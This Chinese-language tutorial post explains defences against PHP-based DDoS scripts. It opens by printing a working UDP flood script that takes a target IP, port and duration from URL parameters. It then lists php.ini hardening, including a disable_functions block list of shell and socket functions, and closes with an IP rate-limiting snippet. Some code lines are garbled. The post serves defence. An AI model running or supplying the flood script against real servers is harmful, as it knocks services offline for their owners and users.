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PHP DDos的几个防御方法详解

Jun 13, 2016 am 09:50 AM
ddos php php.ini several use I method yes server of Detailed explanation defense

PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法

我们先来看php ddos代码

 代码如下 复制代码

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;

for($i=0;$i $out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>

细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了。

于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法:

注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作。

1.打开php.ini

2.禁用危险函数

由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数。

找到disable_functions,将前面的“;”去掉,在等号后面增加:

 代码如下 复制代码

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,
proc_get_status,fsocket,fsockopen

3.设置PHP执行超时时间

如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间。

找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30

4.禁用上传目录PHP执行权限

大概分为三种服务器: IIS,Apache、Nginx,具体步骤就不写了,放出个链接供大家参考:

iis与apache取消目录脚本执行权限方法:http://www.bKjia.c0m/sys/Windows/46232.htm

5.一个很暴力的方法

直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4

6.关闭用户中心

比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在。

7.修改管理员目录

这个方法就不细谈了,并不是对所有程序都适合。

8.修改默认管理帐号

很多人都习惯使用:admin  但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名。

9.一个复杂且记得住的密码

不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.

后再再附一个php防ddos攻击的代码

 代码如下 复制代码

//查询禁止IP 
$ip =$_SERVER['REMOTE_ADDR']; 
$fileht=".htaccess2"; 
if(!file_exists($fileht))file_put_contents($fileht,""); 
$filehtarr=@file($fileht); 
if(in_array($ip."rn",$filehtarr))die("Warning:"."
"."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!"); 

//加入禁止IP 
$time=time(); 
$fileforbid="log/forbidchk.dat"; 
if(file_exists($fileforbid)) 
{ if($time-filemtime($fileforbid)>60)unlink($fileforbid); 
else{ 
$fileforbidarr=@file($fileforbid); 
if($ip==substr($fileforbidarr[0],0,strlen($ip))) 

if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid); 
elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);} 
else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);} 



//防刷新 
$str=""; 
$file="log/ipdate.dat"; 
if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777); 
if(!file_exists($file))file_put_contents($file,""); 
$allowTime = 120;//防刷新时间 
$allowNum=10;//防刷新次数 
$uri=$_SERVER['REQUEST_URI']; 
$checkip=md5($ip); 
$checkuri=md5($uri); 
$yesno=true; 
$ipdate=@file($file); 
foreach($ipdate as $k=>$v) 
{ $iptem=substr($v,0,32); 
$uritem=substr($v,32,32); 
$timetem=substr($v,64,10); 
$numtem=substr($v,74); 
if($time-$timetem if($iptem!=$checkip)$str.=$v; 
else{ 
$yesno=false; 
if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn"; 
elseif($numtem else 

if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);} 
file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND); 
$timepass=$timetem+$allowTime-$time; 
die("Warning:"."
"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!"); 




if($yesno) $str.=$checkip.$checkuri.$time."1rn"; 
file_put_contents($file,$str); 
?>


相关教程 :

iis防止php ddos占完网络带宽与服务器资源解决方法

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